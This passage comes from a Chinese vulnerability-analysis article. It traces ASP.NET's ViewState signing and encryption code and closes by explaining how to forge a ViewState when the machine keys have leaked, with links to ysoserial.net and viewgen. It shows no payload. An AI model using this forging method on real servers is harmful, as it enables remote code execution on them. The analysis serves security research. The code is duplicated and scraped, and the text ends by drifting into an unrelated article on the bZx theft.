if ( AspNetCryptoServiceProvider . Instance . IsDefaultProvider & amp ; & amp ; ! _forceLegacyCryptography ) {
// If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested.
. . .
}
else {
// Otherwise go through legacy crypto mechanisms
#pragma warning disable 618 // calling obsolete methods
if ( _page != null & amp ; & amp ; _page . ContainsEncryptedViewState ) {
inputBytes = MachineKeySection . EncryptOrDecryptData ( false , inputBytes , GetMacKeyModifier ( ) , 0 , length ) ;
length = inputBytes . Length ;
}
// We need to decode if the page has EnableViewStateMac or we got passed in some mac key string
else if ( ( _page != null & amp ; & amp ; _page . EnableViewStateMac ) || _macKeyBytes != null ) {
inputBytes = MachineKeySection . GetDecodedData ( inputBytes , GetMacKeyModifier ( ) , 0 , length , ref length ) ;
}
#pragma warning restore 618 // calling obsolete methods
}
}
catch {
// MSRC 10405: Don't propagate inner exceptions, as they may contain sensitive cryptographic information.
PerfCounters . IncrementCounter ( AppPerfCounter . VIEWSTATE_MAC_FAIL ) ;
ViewStateException . ThrowMacValidationError ( null , inputString ) ;
}
#endif // !FEATURE_PAL
object result = null ;
MemoryStream objectStream = GetMemoryStream ( ) ;
try {
objectStream . Write ( inputBytes , 0 , length ) ;
objectStream . Position = 0 ;
result = Deserialize ( objectStream ) ;
}
finally {
ReleaseMemoryStream ( objectStream ) ;
}
return result ;
}
else { // Otherwise go through legacy crypto mechanisms if (_page != null && _page.ContainsEncryptedViewState) { inputBytes = MachineKeySection.EncryptOrDecryptData(false, inputBytes, GetMacKeyModifier(), 0, length); length = inputBytes.Length; // We need to decode if the page has EnableViewStateMac or we got passed in some mac key string else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) { inputBytes = MachineKeySection.GetDecodedData(inputBytes, GetMacKeyModifier(), 0, length, ref length);
1
2
3
4
5
6
7
8
9
10
11
else {
// Otherwise go through legacy crypto mechanisms
if ( _page != null & amp ; & amp ; _page . ContainsEncryptedViewState ) {
inputBytes = MachineKeySection . EncryptOrDecryptData ( false , inputBytes , GetMacKeyModifier ( ) , 0 , length ) ;
length = inputBytes . Length ;
}
// We need to decode if the page has EnableViewStateMac or we got passed in some mac key string
else if ( ( _page != null & amp ; & amp ; _page . EnableViewStateMac ) || _macKeyBytes != null ) {
inputBytes = MachineKeySection . GetDecodedData ( inputBytes , GetMacKeyModifier ( ) , 0 , length , ref length ) ;
}
}
// Determine if viewstate was encrypted. if (_requestValueCollection[ViewStateEncryptionID] != null) { ContainsEncryptedViewState = true; // NOTE: When encoding the data, this method *may* return the same reference to the input "buf" parameter // with the hash appended in the end if there's enough space. The "length" parameter would also be // appropriately adjusted in those cases. This is an optimization to prevent unnecessary copying of // buffers. [Obsolete(OBSOLETE_CRYPTO_API_MESSAGE)] internal static byte[] GetEncodedData(byte[] buf, byte[] modifier, int start, ref int length) EnsureConfig(); byte[] bHash = HashData(buf, modifier, start, length); byte[] returnBuffer; if (buf.Length - start - length >= bHash.Length) // Append hash to end of buffer if there's space Buffer.BlockCopy(bHash, 0, buf, start + length, bHash.Length); returnBuffer = buf; returnBuffer = new byte[length + bHash.Length]; Buffer.BlockCopy(buf, start, returnBuffer, 0, length); Buffer.BlockCopy(bHash, 0, returnBuffer, length, bHash.Length); start = 0; length += bHash.Length; if (s_config.Validation == MachineKeyValidation.TripleDES || s_config.Validation == MachineKeyValidation.AES) { returnBuffer = EncryptOrDecryptData(true, returnBuffer, modifier, start, length, true); length = returnBuffer.Length; return returnBuffer;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// NOTE: When encoding the data, this method *may* return the same reference to the input "buf" parameter
// with the hash appended in the end if there's enough space.  The "length" parameter would also be
// appropriately adjusted in those cases.  This is an optimization to prevent unnecessary copying of
// buffers.
[ Obsolete ( OBSOLETE_CRYPTO_API_MESSAGE ) ]
internal static byte [ ] GetEncodedData ( byte [ ] buf , byte [ ] modifier , int start , ref int length )
{
EnsureConfig ( ) ;
byte [ ] bHash = HashData ( buf , modifier , start , length ) ;
byte [ ] returnBuffer ;
if ( buf . Length - start - length >= bHash . Length )
{
// Append hash to end of buffer if there's space
Buffer . BlockCopy ( bHash , 0 , buf , start + length , bHash . Length ) ;
returnBuffer = buf ;
}
else
{
returnBuffer = new byte [ length + bHash . Length ] ;
Buffer . BlockCopy ( buf , start , returnBuffer , 0 , length ) ;
Buffer . BlockCopy ( bHash , 0 , returnBuffer , length , bHash . Length ) ;
start = 0 ;
}
length += bHash . Length ;
if ( s_config . Validation == MachineKeyValidation . TripleDES || s_config . Validation == MachineKeyValidation . AES ) {
returnBuffer = EncryptOrDecryptData ( true , returnBuffer , modifier , start , length , true ) ;
length = returnBuffer . Length ;
}
return returnBuffer ;
}
internal static byte[] HashData(byte[] buf, byte[] modifier, int start, int length) EnsureConfig(); if (s_config.Validation == MachineKeyValidation.MD5) return HashDataUsingNonKeyedAlgorithm(null, buf, modifier, start, length, s_validationKey); if (_UseHMACSHA) { byte [] hash = GetHMACSHA1Hash(buf, modifier, start, length); if (hash != null) return hash; if (_CustomValidationTypeIsKeyed) { return HashDataUsingKeyedAlgorithm(KeyedHashAlgorithm.Create(_CustomValidationName), buf, modifier, start, length, s_validationKey); } else { return HashDataUsingNonKeyedAlgorithm(HashAlgorithm.Create(_CustomValidationName), buf, modifier, start, length, s_validationKey);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
internal static byte [ ] HashData ( byte [ ] buf , byte [ ] modifier , int start , int length )
{
EnsureConfig ( ) ;
if ( s_config . Validation == MachineKeyValidation . MD5 )
return HashDataUsingNonKeyedAlgorithm ( null , buf , modifier , start , length , s_validationKey ) ;
if ( _UseHMACSHA ) {
byte [ ] hash = GetHMACSHA1Hash ( buf , modifier , start , length ) ;
if ( hash != null )
return hash ;
}
if ( _CustomValidationTypeIsKeyed ) {
return HashDataUsingKeyedAlgorithm ( KeyedHashAlgorithm . Create ( _CustomValidationName ) ,
buf , modifier , start , length , s_validationKey ) ;
} else {
return HashDataUsingNonKeyedAlgorithm ( HashAlgorithm . Create ( _CustomValidationName ) ,
buf , modifier , start , length , s_validationKey ) ;
}
}
private void InitValidationAndEncyptionSizes() _CustomValidationName = ValidationAlgorithm; _CustomValidationTypeIsKeyed = true; switch(ValidationAlgorithm) case "AES": case "3DES": _UseHMACSHA = true; _HashSize = SHA1_HASH_SIZE; _AutoGenValidationKeySize = SHA1_KEY_SIZE; break; case "SHA1": _UseHMACSHA = true; _HashSize = SHA1_HASH_SIZE; _AutoGenValidationKeySize = SHA1_KEY_SIZE; break; case "MD5": _CustomValidationTypeIsKeyed = false; _UseHMACSHA = false; _HashSize = MD5_HASH_SIZE; _AutoGenValidationKeySize = MD5_KEY_SIZE; break; case "HMACSHA256": _UseHMACSHA = true; _HashSize = HMACSHA256_HASH_SIZE; _AutoGenValidationKeySize = HMACSHA256_KEY_SIZE; break; case "HMACSHA384": _UseHMACSHA = true; _HashSize = HMACSHA384_HASH_SIZE; _AutoGenValidationKeySize = HMACSHA384_KEY_SIZE; break; case "HMACSHA512": _UseHMACSHA = true; _HashSize = HMACSHA512_HASH_SIZE; _AutoGenValidationKeySize = HMACSHA512_KEY_SIZE; break; default:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void InitValidationAndEncyptionSizes ( )
{
_CustomValidationName = ValidationAlgorithm ;
_CustomValidationTypeIsKeyed = true ;
switch ( ValidationAlgorithm )
{
case "AES" :
case "3DES" :
_UseHMACSHA = true ;
_HashSize = SHA1_HASH_SIZE ;
_AutoGenValidationKeySize = SHA1_KEY_SIZE ;
break ;
case "SHA1" :
_UseHMACSHA = true ;
_HashSize = SHA1_HASH_SIZE ;
_AutoGenValidationKeySize = SHA1_KEY_SIZE ;
break ;
case "MD5" :
_CustomValidationTypeIsKeyed = false ;
_UseHMACSHA = false ;
_HashSize = MD5_HASH_SIZE ;
_AutoGenValidationKeySize = MD5_KEY_SIZE ;
break ;
case "HMACSHA256" :
_UseHMACSHA = true ;
_HashSize = HMACSHA256_HASH_SIZE ;
_AutoGenValidationKeySize = HMACSHA256_KEY_SIZE ;
break ;
case "HMACSHA384" :
_UseHMACSHA = true ;
_HashSize = HMACSHA384_HASH_SIZE ;
_AutoGenValidationKeySize = HMACSHA384_KEY_SIZE ;
break ;
case "HMACSHA512" :
_UseHMACSHA = true ;
_HashSize = HMACSHA512_HASH_SIZE ;
_AutoGenValidationKeySize = HMACSHA512_KEY_SIZE ;
break ;
default :
. . .
private static byte[] HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier, int start, int length, byte[] validationKey) int totalLength = length + validationKey.Length + ((modifier != null) ? modifier.Length : 0); byte [] bAll = new byte[totalLength]; Buffer.BlockCopy(buf, start, bAll, 0, length); if (modifier != null) { Buffer.BlockCopy(modifier, 0, bAll, length, modifier.Length); Buffer.BlockCopy(validationKey, 0, bAll, length, validationKey.Length); if (hashAlgo != null) { return hashAlgo.ComputeHash(bAll); } else { byte[] newHash = new byte[MD5_HASH_SIZE]; int hr = UnsafeNativeMethods.GetSHA1Hash(bAll, bAll.Length, newHash, newHash.Length); Marshal.ThrowExceptionForHR(hr); return newHash;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private static byte [ ] HashDataUsingNonKeyedAlgorithm ( HashAlgorithm hashAlgo , byte [ ] buf , byte [ ] modifier ,
int start , int length , byte [ ] validationKey )
{
int totalLength = length + validationKey . Length + ( ( modifier != null ) ? modifier . Length : 0 ) ;
byte [ ] bAll = new byte [ totalLength ] ;
Buffer . BlockCopy ( buf , start , bAll , 0 , length ) ;
if ( modifier != null ) {
Buffer . BlockCopy ( modifier , 0 , bAll , length , modifier . Length ) ;
}
Buffer . BlockCopy ( validationKey , 0 , bAll , length , validationKey . Length ) ;
if ( hashAlgo != null ) {
return hashAlgo . ComputeHash ( bAll ) ;
} else {
byte [ ] newHash = new byte [ MD5_HASH_SIZE ] ;
int hr = UnsafeNativeMethods . GetSHA1Hash ( bAll , bAll . Length , newHash , newHash . Length ) ;
Marshal . ThrowExceptionForHR ( hr ) ;
return newHash ;
}
}
private const int MD5_KEY_SIZE = 64; private const int MD5_HASH_SIZE = 16; private const int SHA1_KEY_SIZE = 64; private const int HMACSHA256_KEY_SIZE = 64; private const int HMACSHA384_KEY_SIZE = 128; private const int HMACSHA512_KEY_SIZE = 128; private const int SHA1_HASH_SIZE = 20; private const int HMACSHA256_HASH_SIZE = 32; private const int HMACSHA384_HASH_SIZE = 48; private const int HMACSHA512_HASH_SIZE = 64;
1
2
3
4
5
6
7
8
9
10
private const int MD5_KEY_SIZE = 64 ;
private const int MD5_HASH_SIZE = 16 ;
private const int SHA1_KEY_SIZE = 64 ;
private const int HMACSHA256_KEY_SIZE = 64 ;
private const int HMACSHA384_KEY_SIZE = 128 ;
private const int HMACSHA512_KEY_SIZE = 128 ;
private const int SHA1_HASH_SIZE = 20 ;
private const int HMACSHA256_HASH_SIZE = 32 ;
private const int HMACSHA384_HASH_SIZE = 48 ;
private const int HMACSHA512_HASH_SIZE = 64 ;
private static byte[] GetHMACSHA1Hash(byte[] buf, byte[] modifier, int start, int length) { if (start < 0 || start > buf.Length) throw new ArgumentException(SR.GetString(SR.InvalidArgumentValue, "start")); if (length < 0 || buf == null || (start + length) > buf.Length) throw new ArgumentException(SR.GetString(SR.InvalidArgumentValue, "length")); byte[] hash = new byte[_HashSize]; int hr = UnsafeNativeMethods.GetHMACSHA1Hash(buf, start, length, modifier, (modifier == null) ? 0 : modifier.Length, s_inner, s_inner.Length, s_outer, s_outer.Length, hash, hash.Length); if (hr == 0) return hash; _UseHMACSHA = false; return null;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private static byte [ ] GetHMACSHA1Hash ( byte [ ] buf , byte [ ] modifier , int start , int length ) {
if ( start & lt ; 0 || start > buf . Length )
throw new ArgumentException ( SR . GetString ( SR . InvalidArgumentValue , "start" ) ) ;
if ( length & lt ; 0 || buf == null || ( start + length ) > buf . Length )
throw new ArgumentException ( SR . GetString ( SR . InvalidArgumentValue , "length" ) ) ;
byte [ ] hash = new byte [ _HashSize ] ;
int hr = UnsafeNativeMethods . GetHMACSHA1Hash ( buf , start , length ,
modifier , ( modifier == null ) ? 0 : modifier . Length ,
s_inner , s_inner . Length , s_outer , s_outer . Length ,
hash , hash . Length ) ;
if ( hr == 0 )
return hash ;
_UseHMACSHA = false ;
return null ;
}
internal static byte[] EncryptOrDecryptData(bool fEncrypt, byte[] buf, byte[] modifier, int start, int length, bool useValidationSymAlgo, bool useLegacyMode, IVType ivType, bool signData) /* This algorithm is used to perform encryption or decryption of a buffer, along with optional signing (for encryption) * or signature verification (for decryption). Possible operation modes are: * ENCRYPT + SIGN DATA (fEncrypt = true, signData = true) * Input: buf represents plaintext to encrypt, modifier represents data to be appended to buf (but isn't part of the plaintext itself) * Output: E(iv + buf + modifier) + HMAC(E(iv + buf + modifier)) * ONLY ENCRYPT DATA (fEncrypt = true, signData = false) * Input: buf represents plaintext to encrypt, modifier represents data to be appended to buf (but isn't part of the plaintext itself) * Output: E(iv + buf + modifier) * VERIFY + DECRYPT DATA (fEncrypt = false, signData = true) * Input: buf represents ciphertext to decrypt, modifier represents data to be removed from the end of the plaintext (since it's not really plaintext data) * Input (buf): E(iv + m + modifier) + HMAC(E(iv + m + modifier)) * Output: m * ONLY DECRYPT DATA (fEncrypt = false, signData = false) * Input: buf represents ciphertext to decrypt, modifier represents data to be removed from the end of the plaintext (since it's not really plaintext data) * Input (buf): E(iv + plaintext + modifier) * Output: m * The 'iv' in the above descriptions isn't an actual IV. Rather, if ivType = IVType.Random, we'll prepend random bytes ('iv') * to the plaintext before feeding it to the crypto algorithms. Introducing randomness early in the algorithm prevents users * from inspecting two ciphertexts to see if the plaintexts are related. If ivType = IVType.None, then 'iv' is simply * an empty string. If ivType = IVType.Hash, we use a non-keyed hash of the plaintext. * The 'modifier' in the above descriptions is a piece of metadata that should be encrypted along with the plaintext but * which isn't actually part of the plaintext itself. It can be used for storing things like the user name for whom this * plaintext was generated, the page that generated the plaintext, etc. On decryption, the modifier parameter is compared * against the modifier stored in the crypto stream, and it is stripped from the message before the plaintext is returned. * In all cases, if something goes wrong (e.g. invalid padding, invalid signature, invalid modifier, etc.), a generic exception is thrown.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
internal static byte [ ] EncryptOrDecryptData ( bool fEncrypt , byte [ ] buf , byte [ ] modifier , int start , int length , bool useValidationSymAlgo , bool useLegacyMode , IVType ivType , bool signData )
/* This algorithm is used to perform encryption or decryption of a buffer, along with optional signing (for encryption)
* or signature verification (for decryption). Possible operation modes are:
*
* ENCRYPT + SIGN DATA (fEncrypt = true, signData = true)
* Input: buf represents plaintext to encrypt, modifier represents data to be appended to buf (but isn't part of the plaintext itself)
* Output: E(iv + buf + modifier) + HMAC(E(iv + buf + modifier))
*
* ONLY ENCRYPT DATA (fEncrypt = true, signData = false)
* Input: buf represents plaintext to encrypt, modifier represents data to be appended to buf (but isn't part of the plaintext itself)
* Output: E(iv + buf + modifier)
*
* VERIFY + DECRYPT DATA (fEncrypt = false, signData = true)
* Input: buf represents ciphertext to decrypt, modifier represents data to be removed from the end of the plaintext (since it's not really plaintext data)
* Input (buf): E(iv + m + modifier) + HMAC(E(iv + m + modifier))
* Output: m
*
* ONLY DECRYPT DATA (fEncrypt = false, signData = false)
* Input: buf represents ciphertext to decrypt, modifier represents data to be removed from the end of the plaintext (since it's not really plaintext data)
* Input (buf): E(iv + plaintext + modifier)
* Output: m
*
* The 'iv' in the above descriptions isn't an actual IV. Rather, if ivType = IVType.Random, we'll prepend random bytes ('iv')
* to the plaintext before feeding it to the crypto algorithms. Introducing randomness early in the algorithm prevents users
* from inspecting two ciphertexts to see if the plaintexts are related. If ivType = IVType.None, then 'iv' is simply
* an empty string. If ivType = IVType.Hash, we use a non-keyed hash of the plaintext.
*
* The 'modifier' in the above descriptions is a piece of metadata that should be encrypted along with the plaintext but
* which isn't actually part of the plaintext itself. It can be used for storing things like the user name for whom this
* plaintext was generated, the page that generated the plaintext, etc. On decryption, the modifier parameter is compared
* against the modifier stored in the crypto stream, and it is stripped from the message before the plaintext is returned.
*
* In all cases, if something goes wrong (e.g. invalid padding, invalid signature, invalid modifier, etc.), a generic exception is thrown.
*/

细细观察会发现,由于使用了AES/3DES签名算法导致进入 EncryptOrDecryptData () 时,第6个参数 useValidationSymAlgo 为true。意义何在呢?因为先进入GetEncodedData() 函数,说明没有开启加密功能,此时由于使用的是AES/3DES签名算法,导致需要在签名后再次EncryptOrDecryptData () 函数。进入EncryptOrDecryptData() 就需要决定使用什么加密算法。所以第6个参数为true,表示加密使用和签名同样的算法。另外多说一句,这种情况下会有两次签名,在GetEncodedData() 里一次,进入EncryptOrDecryptData() 后又一次(后面会看到)。

下面代码将有关解密和校验的操作隐去,只介绍加密与签名的部分。

// 541~543行 System.IO.MemoryStream ms = new System.IO.MemoryStream(); ICryptoTransform cryptoTransform = GetCryptoTransform(fEncrypt, useValidationSymAlgo, useLegacyMode); CryptoStream cs = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write); private static ICryptoTransform GetCryptoTransform(bool fEncrypt, bool useValidationSymAlgo, bool legacyMode) SymmetricAlgorithm algo = (legacyMode ? s_oSymAlgoLegacy : (useValidationSymAlgo ? s_oSymAlgoValidation : s_oSymAlgoDecryption)); lock(algo) return (fEncrypt ? algo.CreateEncryptor() : algo.CreateDecryptor());
1
2
3
4
5
6
private static ICryptoTransform GetCryptoTransform ( bool fEncrypt , bool useValidationSymAlgo , bool legacyMode )
{
SymmetricAlgorithm algo = ( legacyMode ? s_oSymAlgoLegacy : ( useValidationSymAlgo ? s_oSymAlgoValidation : s_oSymAlgoDecryption ) ) ;
lock ( algo )
return ( fEncrypt ? algo . CreateEncryptor ( ) : algo . CreateDecryptor ( ) ) ;
}
s_oSymAlgoDecryption = CryptoAlgorithms.CreateDES(); } else { s_oSymAlgoDecryption = CryptoAlgorithms.CreateAes(); break; if (s_oSymAlgoDecryption == null) // Shouldn't happen! InitValidationAndEncyptionSizes(); switch(Validation) case MachineKeyValidation.TripleDES: if (dKey.Length == 8) { s_oSymAlgoValidation = CryptoAlgorithms.CreateDES(); } else { s_oSymAlgoValidation = CryptoAlgorithms.CreateTripleDES(); break; case MachineKeyValidation.AES: s_oSymAlgoValidation = CryptoAlgorithms.CreateAes(); break;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
switch ( Decryption )
{
case "3DES" :
s_oSymAlgoDecryption = CryptoAlgorithms . CreateTripleDES ( ) ;
break ;
case "DES" :
s_oSymAlgoDecryption = CryptoAlgorithms . CreateDES ( ) ;
break ;
case "AES" :
s_oSymAlgoDecryption = CryptoAlgorithms . CreateAes ( ) ;
break ;
case "Auto" :
if ( dKey . Length == 8 ) {
s_oSymAlgoDecryption = CryptoAlgorithms . CreateDES ( ) ;
} else {
s_oSymAlgoDecryption = CryptoAlgorithms . CreateAes ( ) ;
}
break ;
}
if ( s_oSymAlgoDecryption == null ) // Shouldn't happen!
InitValidationAndEncyptionSizes ( ) ;
switch ( Validation )
{
case MachineKeyValidation . TripleDES :
if ( dKey . Length == 8 ) {
s_oSymAlgoValidation = CryptoAlgorithms . CreateDES ( ) ;
} else {
s_oSymAlgoValidation = CryptoAlgorithms . CreateTripleDES ( ) ;
}
break ;
case MachineKeyValidation . AES :
s_oSymAlgoValidation = CryptoAlgorithms . CreateAes ( ) ;
break ;
}
// 第545~579行 // DevDiv Bugs 137864: Add IV to beginning of data to be encrypted. // IVType.None is used by MembershipProvider which requires compatibility even in SP2 mode (and will set signData = false). // MSRC 10405: If signData is set to true, we must generate an IV. bool createIV = signData || ((ivType != IVType.None) && (CompatMode > MachineKeyCompatibilityMode.Framework20SP1)); if (fEncrypt && createIV) int ivLength = (useValidationSymAlgo ? _IVLengthValidation : _IVLengthDecryption); byte[] iv = null; switch (ivType) { case IVType.Hash: // iv := H(buf) iv = GetIVHash(buf, ivLength); break; case IVType.Random: // iv := [random] iv = new byte[ivLength]; RandomNumberGenerator.GetBytes(iv); break; Debug.Assert(iv != null, "Invalid value for IVType: " + ivType.ToString("G")); cs.Write(iv, 0, iv.Length); cs.Write(buf, start, length); if (fEncrypt && modifier != null) cs.Write(modifier, 0, modifier.Length); cs.FlushFinalBlock(); byte[] paddedData = ms.ToArray();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 第545~579行
// DevDiv Bugs 137864: Add IV to beginning of data to be encrypted.
// IVType.None is used by MembershipProvider which requires compatibility even in SP2 mode (and will set signData = false).
// MSRC 10405: If signData is set to true, we must generate an IV.
bool createIV = signData || ( ( ivType != IVType . None ) & amp ; & amp ; ( CompatMode > MachineKeyCompatibilityMode . Framework20SP1 ) ) ;
if ( fEncrypt & amp ; & amp ; createIV )
{
int ivLength = ( useValidationSymAlgo ? _IVLengthValidation : _IVLengthDecryption ) ;
byte [ ] iv = null ;
switch ( ivType ) {
case IVType . Hash :
// iv := H(buf)
iv = GetIVHash ( buf , ivLength ) ;
break ;
case IVType . Random :
// iv := [random]
iv = new byte [ ivLength ] ;
RandomNumberGenerator . GetBytes ( iv ) ;
break ;
}
Debug . Assert ( iv != null , "Invalid value for IVType: " + ivType . ToString ( "G" ) ) ;
cs . Write ( iv , 0 , iv . Length ) ;
}
cs . Write ( buf , start , length ) ;
if ( fEncrypt & amp ; & amp ; modifier != null )
{
cs . Write ( modifier , 0 , modifier . Length ) ;
}
cs . FlushFinalBlock ( ) ;
byte [ ] paddedData = ms . ToArray ( ) ;
// 第550~644行 // DevDiv Bugs 137864: Strip IV from beginning of unencrypted data if (!fEncrypt && createIV) // strip off the first bytes that were random bits bData = paddedData; // At this point: // If fEncrypt = true (encrypting), bData := Enc(iv + buf + modifier) // If fEncrypt = false (decrypting), bData := plaintext if (fEncrypt && signData) { byte[] hmac = HashData(bData, null, 0, bData.Length); byte[] bData2 = new byte[bData.Length + hmac.Length]; Buffer.BlockCopy(bData, 0, bData2, 0, bData.Length); Buffer.BlockCopy(hmac, 0, bData2, bData.Length, hmac.Length); bData = bData2; // At this point: // If fEncrypt = true (encrypting), bData := Enc(iv + buf + modifier) + HMAC(Enc(iv + buf + modifier)) // If fEncrypt = false (decrypting), bData := plaintext // And we're done return bData;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// 第550~644行
// DevDiv Bugs 137864: Strip IV from beginning of unencrypted data
if ( ! fEncrypt & amp ; & amp ; createIV )
{
// strip off the first bytes that were random bits
. . .
}
else
{
bData = paddedData ;
}
. . .
// At this point:
// If fEncrypt = true (encrypting), bData := Enc(iv + buf + modifier)
// If fEncrypt = false (decrypting), bData := plaintext
if ( fEncrypt & amp ; & amp ; signData ) {
byte [ ] hmac = HashData ( bData , null , 0 , bData . Length ) ;
byte [ ] bData2 = new byte [ bData . Length + hmac . Length ] ;
Buffer . BlockCopy ( bData , 0 , bData2 , 0 , bData . Length ) ;
Buffer . BlockCopy ( hmac , 0 , bData2 , bData . Length , hmac . Length ) ;
bData = bData2 ;
}
// At this point:
// If fEncrypt = true (encrypting), bData := Enc(iv + buf + modifier) + HMAC(Enc(iv + buf + modifier))
// If fEncrypt = false (decrypting), bData := plaintext
// And we're done
return bData ;
// This will return the MacKeyModifier provided in the LOSFormatter constructor or // generate one from Page if EnableViewStateMac is true. private byte[] GetMacKeyModifier() { if (_macKeyBytes == null) { // Only generate a MacKeyModifier if we have a page if (_page == null) { return null; // Note: duplicated (somewhat) in GetSpecificPurposes, keep in sync // Use the page's directory and class name as part of the key (ASURT 64044) uint pageHashCode = _page.GetClientStateIdentifier(); string viewStateUserKey = _page.ViewStateUserKey; if (viewStateUserKey != null) { // Modify the key with the ViewStateUserKey, if any (ASURT 126375) int count = Encoding.Unicode.GetByteCount(viewStateUserKey); _macKeyBytes = new byte[count + 4]; Encoding.Unicode.GetBytes(viewStateUserKey, 0, viewStateUserKey.Length, _macKeyBytes, 4); else { _macKeyBytes = new byte[4]; _macKeyBytes[0] = (byte)pageHashCode; _macKeyBytes[1] = (byte)(pageHashCode >> 8); _macKeyBytes[2] = (byte)(pageHashCode >> 16); _macKeyBytes[3] = (byte)(pageHashCode >> 24); return _macKeyBytes;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// This will return the MacKeyModifier provided in the LOSFormatter constructor or
// generate one from Page if EnableViewStateMac is true.
private byte [ ] GetMacKeyModifier ( ) {
if ( _macKeyBytes == null ) {
// Only generate a MacKeyModifier if we have a page
if ( _page == null ) {
return null ;
}
// Note: duplicated (somewhat) in GetSpecificPurposes, keep in sync
// Use the page's directory and class name as part of the key (ASURT 64044)
uint pageHashCode = _page . GetClientStateIdentifier ( ) ;
string viewStateUserKey = _page . ViewStateUserKey ;
if ( viewStateUserKey != null ) {
// Modify the key with the ViewStateUserKey, if any (ASURT 126375)
int count = Encoding . Unicode . GetByteCount ( viewStateUserKey ) ;
_macKeyBytes = new byte [ count + 4 ] ;
Encoding . Unicode . GetBytes ( viewStateUserKey , 0 , viewStateUserKey . Length , _macKeyBytes , 4 ) ;
}
else {
_macKeyBytes = new byte [ 4 ] ;
}
_macKeyBytes [ 0 ] = ( byte ) pageHashCode ;
_macKeyBytes [ 1 ] = ( byte ) ( pageHashCode >> 8 ) ;
_macKeyBytes [ 2 ] = ( byte ) ( pageHashCode >> 16 ) ;
_macKeyBytes [ 3 ] = ( byte ) ( pageHashCode >> 24 ) ;
}
return _macKeyBytes ;
}
// This is a non-cryptographic hash code that can be used to identify which Page generated // a __VIEWSTATE field. It shouldn't be considered sensitive information since its inputs // are assumed to be known by all parties. internal uint GetClientStateIdentifier() { // Use non-randomized hash code algorithms instead of String.GetHashCode. // Use the page's directory and class name as part of the key (ASURT 64044) // We need to make sure that the hash is case insensitive, since the file system // is, and strange view state errors could otherwise happen (ASURT 128657) int pageHashCode = StringUtil.GetNonRandomizedHashCode(TemplateSourceDirectory, ignoreCase:true); pageHashCode += StringUtil.GetNonRandomizedHashCode(GetType().Name, ignoreCase:true); return (uint)pageHashCode;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// This is a non-cryptographic hash code that can be used to identify which Page generated
// a __VIEWSTATE field. It shouldn't be considered sensitive information since its inputs
// are assumed to be known by all parties.
internal uint GetClientStateIdentifier ( ) {
// Use non-randomized hash code algorithms instead of String.GetHashCode.
// Use the page's directory and class name as part of the key (ASURT 64044)
// We need to make sure that the hash is case insensitive, since the file system
// is, and strange view state errors could otherwise happen (ASURT 128657)
int pageHashCode = StringUtil . GetNonRandomizedHashCode ( TemplateSourceDirectory , ignoreCase : true ) ;
pageHashCode += StringUtil . GetNonRandomizedHashCode ( GetType ( ) . Name , ignoreCase : true ) ;
return ( uint ) pageHashCode ;
}

经过上面长篇大论的贴代码、分析。我们已经大致明白了ASP.NET 生成和解析ViewState 的流程。这有助帮助我们理解如何伪造 ViewState。当然了伪造 ViewState 仍然需要 泄露web.config,知晓其 密钥与算法。

  1. 如果签名算法不是AES/3DES,无论是否开启加密功能,我们只需要根据其签名算法和密钥,生成一个签名的ViewState。由于发送该ViewState的时候没有使用"__VIEWSTATEENCRYPTED" 字段,导致ASP.NET 在解析时直接进入GetDecodedData() 进行签名校验,而不再执行解密步骤。
  2. 如果签名算法是 AES/3DES,无论是否开启加密功能,我们只需按照先前所讲,对数据先签名一次,再加密一次,再签名一次。 然后发送给服务端,ASP.NET 进入 GetDecodedData(),然后先进 EncryptOrDecryptData() 进行一次校验和解密,出来后再进行一次校验。

换种表达方式,无论使用什么签名算法,无论是否开启加密功能,我们伪造ViewState时,就按照没有开启加密功能情况下的正常步骤,去伪造ViewState。

9.附录:

[1] ysoserial.net

https://github.com/pwntester/ysoserial.net

[2] viwgen (python 写的viewstate生成工具,不依赖.NET,方便自动化脚本使用)

https://github.com/0xacb/viewgen

[3] 什么是View State 及其在ASP.NET中的工作方式

https://www.c-sharpcorner.com/UploadFile/225740/what-is-view-state-and-how-it-works-in-Asp-Net53/

[4] 微软官方文档:ASP.NET服务器控件概述

https://docs.microsoft.com/zh-cn/troubleshoot/aspnet/server-controls

[5]《MSDN杂志》文章:ViewState 安全

https://docs.microsoft.com/en-us/archive/msdn-magazine/2010/july/security-briefs-view-state-security

[6] 安全通告KB2905247

https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2013/2905247?redirectedfrom=MSDN

[7] 使用ViewState

http://appetere.com/post/working-with-viewstate

[8] Exhange CVE-2020-0688

https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址: https://paper.seebug.org/1386/

作者:江 | Categories: 技术分享 漏洞分析 | Tags:

DeFi 项目 bZx-iToken 盗币事件分析

2020-11-03

作者:昏鸦@知道创宇404区块链安全研究团队
时间:2020年9月14日

发生了什么

iToken是bZx推出的一种代币,今天早些时候,bZx官方发推表示发现了一些iTokens的安全事件,随后有研究员对比iToken合约源码改动,指出其中存在安全问题,可被攻击用于薅羊毛。

